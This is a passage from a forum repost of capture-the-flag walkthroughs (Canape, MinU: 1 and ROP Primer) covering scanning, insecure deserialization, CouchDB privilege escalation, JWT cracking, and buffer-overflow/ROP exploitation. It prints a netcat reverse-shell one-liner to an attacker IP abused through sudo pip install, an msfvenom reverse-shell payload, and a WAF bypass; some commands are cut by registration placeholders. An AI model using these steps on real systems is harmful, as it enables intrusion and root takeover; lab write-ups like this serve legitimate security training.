| 0 | 0 | ||
Level: Intermediate
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online available therefore they have static IP and IP of Canape is 10.10.10.70 so let’s begin with nmap port enumeration.
nmap -p- -sV 10.10.10.70
1
nmap -p- -sV 10.10.10.70
From the given below image, you can observe we found port 80 and 65535 are open on the target system.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-0mwkR5cZ7j8/W6i6mLR3ofI/AAAAAAAAae8/bDhk2KxrYDc2Y7tOcHdOys1dF_1g_HeNACEwYBhgL/s1600/1.png?w=687&ssl=1)
As port 80 is running http server, we open the target machine’s IP address in our browser and find that it is a fan site for the Simpsons.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-dkx7uHSZRFA/W6i6n7aJm2I/AAAAAAAAagA/SUbEiczZD94WJboP0JEYauCxJl0eoEiDgCEwYBhgL/s1600/2.png?w=687&ssl=1)
We don’t find anything on the webpage, so we run the dirb scan to enumerate the directories. The target machine responded with 200 OK for every request but for the /.git/Head directory the size of the response changed.
dirb
[To see content please register here]
-f1
dirb
[To see content please register here]
-f![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-n2gq4Pqne1s/W6i6obGxsFI/AAAAAAAAagE/BqAlRn_NqGohTqfEVgPsZY1kJEr29cWnACEwYBhgL/s1600/3.png?w=687&ssl=1)
We open the /.git/ directory and find the config file.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-iOvwZF5MB_k/W6i6oujPnXI/AAAAAAAAagI/5ejQhblL6lQuzmNOCMTFyjOnTVAyA5fBACEwYBhgL/s1600/5.png?w=687&ssl=1)
When we open the config file, we find a domain name “git.canape.htb”.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-kdPDmIf1GFQ/W6i6otj4vEI/AAAAAAAAagI/3rTI5dCkUtAf32i3ZDRISGedTvcjG3N-QCEwYBhgL/s1600/6.png?w=687&ssl=1)
Now we have added the domain name of the target machine in the/etc/hosts file to access the webpage using the IP address as well as a domain name.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-6hZNMW0flNU/W6i6o5l_dRI/AAAAAAAAagQ/m1e5YlS0b8c-HJMwRolcaez5oTffH0DtQCEwYBhgL/s1600/7.png?w=687&ssl=1)
Now we can clone the local git repository using the following command:
git clone
[To see content please register here]
1
git clone
[To see content please register here]
Here we found out a file named “__init__.py” in Simpson’s folder as shown in the image.
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-NpqGnwwIxsM/W6i6parnGgI/AAAAAAAAagM/7oxup7tKpzYal1bUWh8fMLi0GPJ2tQIVACEwYBhgL/s1600/8.png?w=687&ssl=1)
After downloading the files, we open “__init__.py” and find that this program might be vulnerable insecure deserialization as it uses a vulnerable function “cPickel.loads(data)”.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-NWtCsF9Fbes/W6i6p5O_nEI/AAAAAAAAagU/JnzVwPXOgo4vYlX0ByccQFpRF5a6C4ztQCEwYBhgL/s1600/9.png?w=687&ssl=1)
Now we create a program to exploit this vulnerability and get a reverse shell. You can download the exploit from
[To see content please register here]
.![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-r95vTBL0FW8/W6i6mOSUTuI/AAAAAAAAagU/ehK3X12Nrv01VFll4aHiTZQ5g0LAnaOowCEwYBhgL/s1600/10.png?w=687&ssl=1)
We set up our listener “netcat” before running the program and run the following command:
nc -lvp 443
1
nc -lvp 443
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-psCcit1B8ZQ/W6i6mAmHHsI/AAAAAAAAagU/y_XmspulbhkKcWJCUhK0BWqgnlPGp4GOgCEwYBhgL/s1600/12.png?w=687&ssl=1)
After getting a reverse shell, we start penetrating more and more. We check for the open ports in the target machine that might be listening locally and find that a service is running on port 5984 for the Apache CouchDB.
netstat -antp
1
netstat -antp
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-V_ef5hXkKf4/W6i6miCyWUI/AAAAAAAAagI/3roT5YQaoHsr-Om1mO4a8WPx9FL6GtbIQCEwYBhgL/s1600/13.png?w=687&ssl=1)
Apache CouchDB is an open source database software. We check the version of CouchDB and also find all the databases using the following command:
curl
[To see content please register here]
curl[To see content please register here]
1
2
curl
[To see content please register here]
curl[To see content please register here]
Using the above command, we find the version of CouchDB to be “2.0.0”. This version of CouchDB is vulnerable to remote privilege escalation. You can find more about this vulnerability
[To see content please register here]
.![[Image: 14.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-YkuNZb08lqE/W6i6m4sgVKI/AAAAAAAAagQ/mrBHbMv_MV0UOlLxBIMx7lotJMUHYAPewCEwYBhgL/s1600/14.png?w=687&ssl=1)
Then we create a user with permissions to read the database with the following command.
curl -X PUT 'http://localhost:5984/_users/org.couchDB.user:hack' --data-binary '{ "type": "user", "name": "hack", "roles": ["_admin"], "roles": [], "password": "password" }’
1
curl -X PUT 'http://localhost:5984/_users/org.couchDB.user:hack' --data-binary '{ "type": "user", "name": "hack", "roles": ["_admin"], "roles": [], "password": "password" }’
We then dump the database with the following command:
curl
[To see content please register here]
-u hack:password1
curl
[To see content please register here]
-u hack:passwordThe above command will dump the password and we will find the password for SSH login. Now, all we need to do is find the username.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-XesDY1Ru5Kk/W6i6nK9EAQI/AAAAAAAAagM/2yQPq6LQek4gjDwg09yJm3Nc6-8vo6oZACEwYBhgL/s1600/15.png?w=687&ssl=1)
We open /etc/passwd to find users available on the target machine. We find that there is only one proper user called a homer.
cat /etc/passwd
1
cat /etc/passwd
![[Image: 16.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-nX2zPvqb0Zc/W6i6nbfeAxI/AAAAAAAAagE/91twtilKrSYq232KQXGpEo_3wFMGw1JkQCEwYBhgL/s1600/16.png?w=687&ssl=1)
We login through SSH using the credentials we found earlier “homer:0B4jyA0xtytZi7esBNGp”. After login, we find a file ‘user.txt’. We open the file and find our first flag.
After getting the flag, we checked the sudoers list and find homer has permission to run “pip install *” as the root user.
ssh [email protected] -p65535
ls
cat user.txt
sudo -l
1
2
3
4
ssh [email protected] -p65535
ls
cat user.txt
sudo -l
![[Image: 17.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-qWruFO5KGeA/W6i6nXYxcWI/AAAAAAAAagU/pUe11vB5TpE5AfsspBzxSmmA_6IJZeV-ACEwYBhgL/s1600/17.png?w=687&ssl=1)
Now as we know we can run “pip install *” as root, we are going to abuse it by creating a reverse shell and saving it as “setup.py”.
We are going to use netcat pipe one-liner to get a reverse shell.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.4 4444 >/tmp/f
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.4 4444 >/tmp/f
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-5jzDtTXPKas/W6i6ns90_zI/AAAAAAAAagE/fT6lmVkIZooYkTZKoZJSrh9YVsXpWBh-ACEwYBhgL/s1600/18.png?w=687&ssl=1)
Now we can run our reverse shell using the following command:
sudo pip install .
1
sudo pip install .
Remember to set up the listener before running the above command.
![[Image: 19.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ZvBJJ3nQFtQ/W6i6nx7LjKI/AAAAAAAAaf8/4sedymL4VX4_RueJhUgoi0_F0igOvYa3ACEwYBhgL/s1600/19.png?w=687&ssl=1)
As soon as we run our command, we get our reverse shell as the root user. We now move to /root directory and to get “root.txt”. We take a look at the content of the file and find our final flag.
nc -lvp 4444
id
cd /root
ls
cat root.txt
1
2
3
4
5
nc -lvp 4444
id
cd /root
ls
cat root.txt
![[Image: 20.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-bwqLWbd-8TI/W6i6oLtd2vI/AAAAAAAAagU/-QqG-6uaLwkTM9WJOXvTdLvXXAGkrVX2QCEwYBhgL/s1600/20.png?w=687&ssl=1)
Hello Friends! Today we are going to solve another CTF challenge “MinU: 1” This boot2root is an Ubuntu Based virtual machine and has been tested using Virtualbox. The network interface of the virtual machine will take its IP settings from DHCP. Your goal is to capture the flag on /root.
You can download it from here:
[To see content please register here]
Level: Easy/Intermediate
Penetrating Methodology
- Network scanning (Nmap)
- Web Directory Enumeration (Dirb)
- Found RCE Vulnerability
- Digging out JSON Web Token from inside ._pw_
- Obtain password by using “c-jwt-cracker” for JSON Web Token
- Generate elf payload (msfvenom)
- Upload the backdoor inside /tmp
- Obtain reverse session (Netcat)
- Go for root access
- Use environment shell to spawn proper tty shell
- Capture the Flag
Since the IP of the target machine is 192.168.1.108, therefore let’s start with nmap aggressive scan.
nmap –A 192.168.1.108
1
nmap –A 192.168.1.108
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-G8B5ChHSr_U/W6XOigUEe7I/AAAAAAAAaXg/ClPtcbdDCAkzCWA_Pvul_bsW0UnZ8appwCLcBGAs/s1600/1.png?w=687&ssl=1)
From the nmap scan result, we found port 80 is open for http service, let’s navigate to port 80 through browser.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-N2sQdCdCk-w/W6XOlKhvRAI/AAAAAAAAaYI/ww1iMy_KS6QBoyCSikEOd0MFVKLXgT1iACLcBGAs/s1600/2.png?w=687&ssl=1)
Since we found nothing at the home page, therefore next we used dirb for web directory enumeration.
dirb
[To see content please register here]
-X .php1
dirb
[To see content please register here]
-X .phpWith the help of above command, we try to enumerate .php extension files and luckily we found a “test.php” file.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-t9fp_70MkLU/W6XOl-LR4DI/AAAAAAAAaYQ/MikinhOshCsdMk-6rjJBNxzPQmXlxcX0ACLcBGAs/s1600/3.png?w=687&ssl=1)
So, when we explored /test.php file in the browser, it welcomes us with the following web page, where we found a hyperlink for the next web page.
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-lsbzckDAf4E/W6XOl33P95I/AAAAAAAAaYU/WxHP6I5hv30i-1L_OqCx_yqJxPJ8IgY3QCLcBGAs/s1600/4.png?w=687&ssl=1)
Here the web page “Read last visitor data” was vulnerable to remote code execution. As you can observe that in the URL we try to run pwd command. As result, it shown /var/www/html as the current directory.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-GA4Y_6Kr46s/W6XOlx_VM4I/AAAAAAAAaYY/xD_5vq0sXVsgjtoXHARVKspHF3JstgyUACLcBGAs/s1600/5.png?w=687&ssl=1)
Next, we had used wafwoof for scanning the type of web application firewall used on the target machine.
wafw00f
[To see content please register here]
1
wafw00f
[To see content please register here]
After we run wafw00f we find that the target machine has implemented modsecurity as web application firewall.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-yF1i1z7Edm0/W6XOmV_c87I/AAAAAAAAaYc/S_9-IP0GKSoiGocBausDGtAIUPPd6yqhgCLcBGAs/s1600/6.png?w=687&ssl=1)
After finding out the WAF, we bypass it by executing following command in the URL.
[To see content please register here]
-a1
[To see content please register here]
-a![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-qQswJL6zpro/W6XOmV5xbFI/AAAAAAAAaYg/8Qd-pDWiwsMj-ETKqXS-W6yIqg0EDdThwCLcBGAs/s1600/7.png?w=687&ssl=1)
Hence we found out the kernel details of the target machine.
Similarly, we run following command to find out available user directory inside the /home folder.
[To see content please register here]
/home1
[To see content please register here]
/home![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-pZRhHR_ZEbc/W6XOmSUg5dI/AAAAAAAAaYk/jz5GREPwe48J9t6sIOEaCLil-xhWaf3GQCLcBGAs/s1600/8.png?w=687&ssl=1)
So we found bob could be the name of user directory.
Then we run following command to view the available file and folder inside /home/bob.
[To see content please register here]
-la /home/bob1
[To see content please register here]
-la /home/bobHere we found a file”._pw_”
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-iv4qZVLFLVI/W6XOmo9yoeI/AAAAAAAAaYo/_RFD1iYisYwojxmHbw3qAkqa4BdSdzS8QCLcBGAs/s1600/9.png?w=687&ssl=1)
Then we opened the above obtained file with help of cat command and for that we run the following command.
[To see content please register here]
/home/bob/._pw_1
[To see content please register here]
/home/bob/._pw_It put up some encoded text in front of us which could be the password but I did not know much about it, what this was, therefore I take help from google and found out that this is a JSON Web Token.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-8Lj93NX6LZ4/W6XOisrEKEI/AAAAAAAAaXk/HuepBGeoEz43hPe_GFvr0MJQSX2KUf6YQCLcBGAs/s1600/11.png?w=687&ssl=1)
JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA.
Source:
[To see content please register here]
So I found a tool from the github to crack the JSON web token called c-jwt-cracker.
git clone
[To see content please register here]
cd c-jwt-cracker/apt-get install libssl-dev
make
1
2
3
4
git clone
[To see content please register here]
cd c-jwt-cracker/apt-get install libssl-dev
make
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-YGoCXSbemsA/W6XOi2tgHoI/AAAAAAAAaXo/Fl3z4F_GSao7iYnnox5HQhJkGNCnaee1QCLcBGAs/s1600/12.png?w=687&ssl=1)
Copy the encoded text from the “._pw_” to decrypt it. Now run the c-jwt-crack tool and paste the encoded string as its argument as shown in the image.
./jwtcrack [paste code here]
1
./jwtcrack [paste code here]
This will give the password: “mlnv1”
![[Image: 13.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-vvRHS43zMtU/W6XOjUyu4QI/AAAAAAAAaXs/ELzvDix2CWkcTtQJrV2lrMsO36jSZG_OgCLcBGAs/s1600/13.png?w=687&ssl=1)
Now let’s create a payload using msfvenom with the help of following command:
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.106 lport=4444 -f elf > /root/Desktop/shell
1
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.106 lport=4444 -f elf > /root/Desktop/shell
Above command will generate the elf payload, now we will transfer this malicious file “shell” to the target with the help of PHP server.
php –S 0.0.0.0:80
1
php –S 0.0.0.0:80
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-kTfK6wpz_dw/W6XOjl8jk-I/AAAAAAAAaXw/-UnJgfdNQSouA3uq5fR-BNjwxaPS3nSZwCLcBGAs/s1600/14.png?w=687&ssl=1)
Then download the above malicious file with the help of wget, hence you can run the following command for downloading it into target machine.
[To see content please register here]
1
[To see content please register here]
Now let’s check whether the file is uploaded successfully or not!
Run following command to view the malicious file “shell” file inside the /tmp directory.
[To see content please register here]
/tmp1
[To see content please register here]
/tmpYuppieee!!! In the given below image you can observe that we have successfully uploaded the shell file.
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-9UO066za568/W6XOjxHhV6I/AAAAAAAAaX4/g9iobuGBbGoIZ0nz3gl3OP-NSnn06W7ZACLcBGAs/s1600/16.png?w=687&ssl=1)
Now give the full permission to the uploaded file “shell” with the help of the following command:
[To see content please register here]
777 /tmp/shell1
[To see content please register here]
777 /tmp/shell![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-En8nzhJXnVk/W6XOkBxtTpI/AAAAAAAAaX8/2gSPY4-qr78eYvPpPvFM3XSwOeeJG-UEQCLcBGAs/s1600/17.png?w=687&ssl=1)
Let’s verify the given permission with help of the following command:
[To see content please register here]
-la /tmp/shell1
[To see content please register here]
-la /tmp/shell![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3f2xuL5hqnI/W6XOk7cLitI/AAAAAAAAaYA/Jws1aEuxosEco6PHryiGsXuE52L2OunXACLcBGAs/s1600/18.png?w=687&ssl=1)
Now let’s execute the file “shell” but do not forget to start netcat as the listener.
[To see content please register here]
1
[To see content please register here]
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-QcT94gUdKsc/W6XOk6BP30I/AAAAAAAAaYE/DFtzzjAJaAMopkwBx8QvhAzm3TkHu-dagCLcBGAs/s1600/19.png?w=687&ssl=1)
nc –lvp 4444
1
nc –lvp 4444
Hurray!!! We got the reverse shell of the target’s machine and now let’s try to grab the flag.txt file to finish this task. For grabbing the flag.txt file we need the root access and proper tty shell of the machine.
Here we try to use python-one-liner to spawn a tty shell but unfortunately python was not installed on the target machine. So instead we used environment variable to spawn the tty shell.
Now run the following commands to spawn the tty shell and then try to capture flag.txt file.
bash -i
SHELL=/bin/bash script -q /dev/null
su root
1
2
3
bash -i
SHELL=/bin/bash script -q /dev/null
su root
Boooom!!!! We have root access now let’s fetch the flag.txt file.
ls
cat flag.txt
1
2
ls
cat flag.txt
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-CFJ0eN6YV_E/W6XOlQ5mm4I/AAAAAAAAaYM/tETe-EqP3l4BfmHz5AcQgNnC4OUQNT6YwCLcBGAs/s1600/20.png?w=687&ssl=1)
Hello friends! Today we are going to take another CTF challenge known as ROP Primer. The credit for making this VM machine goes to “Bas” and it is another capture the flag challenge in which our goal is to capture all the flags to complete the challenge. You can download this VM
[To see content please register here]
.We have 3 levels available here and we are given the login credentials of all of 3 machines which are as follow:
Levels
Username
Password
Level 0
level0
warmup
Level 1
level1
shodan
Level 2
level2
try harder
We had one binary per level, which we have to exploit each one to successfully extract flags from them.
You can download all the exploit used from
[To see content please register here]
.Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.199.139 but you will have to find your own
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-BpiOHDH_pDc/W6JoYa9jGSI/AAAAAAAAaVA/ursxVfHG9CoHIsnYTMV6-zQnND5VVYD-QCLcBGAs/s1600/1.png?w=687&ssl=1)
LEVEL 0:
Now we use the given credentials to login through ssh as user level0. After logging in we find 2 files one executable file called level0 and another file called flag. Both files are owned by the level1 user, but the binary file has suid bit set so we can execute it. When we run it we find that it takes a string as input and then outputs a message along with the string.
ssh [email protected]
1
ssh [email protected]
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-W7PdtELJOf4/W6JoabFi_AI/AAAAAAAAaVg/yloNG07IedUuRmQ8ra9XIiqp2ZUNCANjwCEwYBhgL/s1600/2.png?w=687&ssl=1)
GDB-peda is provided by the author in the lab so we can directly analyze the binary in the target machine itself. Opening the binary in gdb we find that there is a gets function. Now gets is vulnerable to buffer overflow so we try to exploit it.
set disassembly-flavor intel
disas main
1
2
set disassembly-flavor intel
disas main
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-TNK6hNyLTFU/W6JocIMF-aI/AAAAAAAAaWE/MPp_Iw2fmMEgXoLrLjNdKwolBzeH79WMACEwYBhgL/s1600/3.png?w=687&ssl=1)
We created a 500 bytes long pattern using gdb-peda and used it as input for the binary.
pattern create 500
1
pattern create 500
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-oDof1nsQFns/W6JodkWXTkI/AAAAAAAAaWg/rfqyNjvJSd4qCJOCq7xijUUpV9-qY4UIgCEwYBhgL/s1600/4.png?w=687&ssl=1)
As soon as we passed the string we get a segmentation fault error, we use pattern offset function of gdb-peda to find the EIP offset and find that after 44 bytes we can completely overwrite EIP register.
pattern offset 0x41414641
1
pattern offset 0x41414641
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-wL-oWszuzyM/W6JodirnI3I/AAAAAAAAaWk/O-mqjoNuKs8ZMvi3Gaj1jzPJXPiVaQHUQCEwYBhgL/s1600/5.png?w=687&ssl=1)
Now we check for security and find that there is no ASLR but NX is enabled so we cannot execute shellcode on the stack.
checksec
1
checksec
![[Image: 6.1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-eebBs7YIiRo/W6JodvwGWBI/AAAAAAAAaWo/X0YvYiok9rEtesUkfxqM-3cfxxU-zDqOwCEwYBhgL/s1600/6.1.png?w=687&ssl=1)
As NX is enabled we can still use the ret2libc attack to spawn a shell. But when we try to print the memory address of the system we find that there is no system so we cannot execute /bin/sh to spawn a shell.
In the description, we are given a hint that we can use mprotect to solve this problem.
p system
p mprotect
1
2
p system
p mprotect
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-cNafaSdxYbY/W6JoeH6VzJI/AAAAAAAAaWs/K1Vdlg-pmWMhYtcDPsniCo3c0tnhy7ZAgCEwYBhgL/s1600/6.png?w=687&ssl=1)
When we take a look at the man page for mprotect we find that it used to change the protection of portions of memory by making it readable, writeable and executable. We also find it takes 3 parameters address, length of the memory that needs to be changes and protection level.
![[Image: 7.1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-DYUuZoqvATU/W6JoeZZ1CGI/AAAAAAAAaXM/dTkl_jSAUfQM2RGaRjYFsrv0oFX15lZ1QCEwYBhgL/s1600/7.1.png?w=687&ssl=1)
As we can make portions of memory readable, writeable and executable, we are going to use the memcpy function to insert our shellcode into the block of memory.
p memcpy
1
p memcpy
![[Image: 7.2.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-4XMpHtkEjt0/W6JoetmuqPI/AAAAAAAAaXU/58bGFEIQTUsrQWL-tSd1JGuN9CdzcqStACEwYBhgL/s1600/7.2.png?w=687&ssl=1)
Now need to select which section of the memory we are going to change, so we use gdb to see how the memory is mapped.
vmmap
1
vmmap
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-72my2EptZ48/W6JofN6JX8I/AAAAAAAAaXU/BY5qT_OPsocE8wyqIYB2n6dlG8384KV_gCEwYBhgL/s1600/8.png?w=687&ssl=1)
We are going to take 0x080ca000 as target memory and we are going to mark 4KB of memory starting from 0x080ca000 as readable, writeable and executable. We create an exploit to this for us.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-x9BHUamf5cI/W6Joe2a_wkI/AAAAAAAAaXY/UvJULbBBpQgmRpc-II4p7xmJr6PLrQAYwCEwYBhgL/s1600/9.png?w=687&ssl=1)
We save the output of this program in a file called input, we are going to use this as our input for the binary file.
python exp.py > input
1
python exp.py > input
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-NWh1ja1edyI/W6JoYXDHd2I/AAAAAAAAaXQ/OSq6KUwc8XgI4Ten2G_dN0nCGeG23B4BQCEwYBhgL/s1600/10.png?w=687&ssl=1)
When running the binary in gdb with using the input from our exploit, we take a look at the mapped memory and find that the memory block we selected was marked as readable, writeable and executable.
vmmap
1
vmmap
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-dKQVCj3BcQg/W6JoY22TY-I/AAAAAAAAaXQ/eRqbuH5odwkG8nuAgvx-zq82FJGjsuCxgCEwYBhgL/s1600/11.png?w=687&ssl=1)
Now we need to remove mprotect’s parameter from the stack so that we can redirect the flow of execution, the mprotect function uses 3 parameters so we need to pop 3 values off the stack so we use ropgadget function in gdb and find a gadget pop3ret at 0x8048882.
ropgadget
1
ropgadget
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-osUtvbBrR-4/W6JoYxnCrSI/AAAAAAAAaXU/rljHZTvByyYitvIE5gdlON0ttfPiTIVKQCEwYBhgL/s1600/12.png?w=687&ssl=1)
Now we create the exploit to get an elevated shell. We use cat to keep the shell alive, we run the exploit and now we can access the flag. We take a look at the content of the file and find our first flag.
(python /tmp/exp.py; cat) | ./level0
1
(python /tmp/exp.py; cat) | ./level0
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-VKX8jgY92X0/W6JoZBedXzI/AAAAAAAAaXI/fBiw9a8sQ-kixg05TPiRxxdnk3IbIHuJwCEwYBhgL/s1600/15.png?w=687&ssl=1)
LEVEL 1:
After completing level0, we log in as level1 using the given credentials. We find a file called flag, blah and a binary file called level1 with suid bit set. When we run the binary it says that error binding.
ssh [email protected]
1
ssh [email protected]
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-FQ9IohM5jm4/W6JoZytj2FI/AAAAAAAAaXE/nGbAVhIH9jQFPklF9FyWEc3axfT9ZMX_QCEwYBhgL/s1600/16.png?w=687&ssl=1)
We check the listening ports on the target machine and find that port 8888 is open. We check processes with uid 1002 and find it is level1.
netstat -aepn | grep 8888
ps -aux | grep 1002
1
2
netstat -aepn | grep 8888
ps -aux | grep 1002
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-ZGRLQIp97IE/W6JoZmRoVxI/AAAAAAAAaXI/w1wl9CpMT9AGZxnVb0hBASXRRZPwKYtUwCEwYBhgL/s1600/17.png?w=687&ssl=1)
We connect it and find it is an application that can be used to store and read files.
nc 192.168.199.139 8888
1
nc 192.168.199.139 8888
![[Image: 18.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-pPuqxF4N2Ow/W6JoZyPhSPI/AAAAAAAAaXI/Oj-6czFUsIsLu-ccWHlJYCXT-YK1uod0wCEwYBhgL/s1600/18.png?w=687&ssl=1)
We open the binary in gdb and take a look at the assembly code for further analysis.
gdb -q level1
set disassembly-flavor intel
disas main
1
2
3
gdb -q level1
set disassembly-flavor intel
disas main
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-fxDcR8qoqf0/W6JoaDE7YqI/AAAAAAAAaXA/A0OszAfJ4Fkkz0zBeDTxPjKEWKZTe3MqACEwYBhgL/s1600/19.png?w=687&ssl=1)
We set up a breakpoint on the main function. At main+115 we found that port 8888 is stored on the stack. We changed the value stored in the memory address to port 8889 so that we can run the program.
set {int}0xbffff6b0 = 8889
1
set {int}0xbffff6b0 = 8889
![[Image: 21.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-5qSRkLL7Zkk/W6Joaem0aJI/AAAAAAAAaXQ/gV585bUMU8gIrxLt6ctVw7PbTJnGnb6JgCEwYBhgL/s1600/21.png?w=687&ssl=1)
We create a 128 bytes long pattern using pattern_create.rb script in our system. So that we can pass the string as the name of the file.
./pattern_create -l 128
1
./pattern_create -l 128
![[Image: 23.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-dxSMPYYARzQ/W6JoanBCg9I/AAAAAAAAaXE/IN93vLez7vwGuIvqDK-CZ6g-owuqE7S1QCEwYBhgL/s1600/23.png?w=687&ssl=1)
After changing the port number, we connected to it and stored a file with 128-byte size.
After mentioning the size of the file, it asks for the file name. We passed the 128 bytes long pattern as the file name.
nc 192.168.199.139 8889
1
nc 192.168.199.139 8889
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-j8R6mbYIz_Y/W6Joa0cPk1I/AAAAAAAAaXI/VDLWcoD-zFQX9tthD6nBwN0EKDxTwRHdgCEwYBhgL/s1600/24.png?w=687&ssl=1)
When we switch to gdb we find that we get a segmentation fault.
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-tSaqmUxMLoI/W6JobCb17XI/AAAAAAAAaXU/UoBL4eJNVdEVwSIbjBkpIcH8tEhIxtVvQCEwYBhgL/s1600/25.png?w=687&ssl=1)
We now use patten_offset.rb script to find the EIP offset.
./pattern_offset.rb -q 0x63413163
1
./pattern_offset.rb -q 0x63413163
![[Image: 26.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-CA6FqGzw0jE/W6JobB8QLII/AAAAAAAAaXE/sSP0J_MtqjI9gYr5wrV_lnWuBrWZni3kACEwYBhgL/s1600/26.png?w=687&ssl=1)
We are given a hint in the description of this challenge that we can use read, write and open function to open the flag and read it.
p read
p write
p open
1
2
3
p read
p write
p open
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-RwaU16W3pg8/W6JobcrhLhI/AAAAAAAAaXU/JmYd-lvO3ToyeZcPqN_yNsePbpFxkMsDgCEwYBhgL/s1600/27.png?w=687&ssl=1)
We are now going to need ropgadget, we need pop2ret for a gadget for open function and pop3ret gadget for reading function.
ropgadget
1
ropgadget
![[Image: 28.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-CCPcslxxm54/W6Jobxu-k1I/AAAAAAAAaXY/AJBIngLOwmwiK3kbH2kLgHYEq2fpcl6qQCEwYBhgL/s1600/28.png?w=687&ssl=1)
Now if we can get the address of the ‘flag’ string, then we can just read the flag and output it to the connected socket.
find flag
1
find flag
![[Image: 29.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-BaU9j6yKM4o/W6Jobif_PBI/AAAAAAAAaXQ/-mQQLbUsFc4ah4F4R5ilQMr3anV4Kf6ugCEwYBhgL/s1600/29.png?w=687&ssl=1)
We create an exploit to get the flag. We run it and find the flag.
python level1.py
1
python level1.py
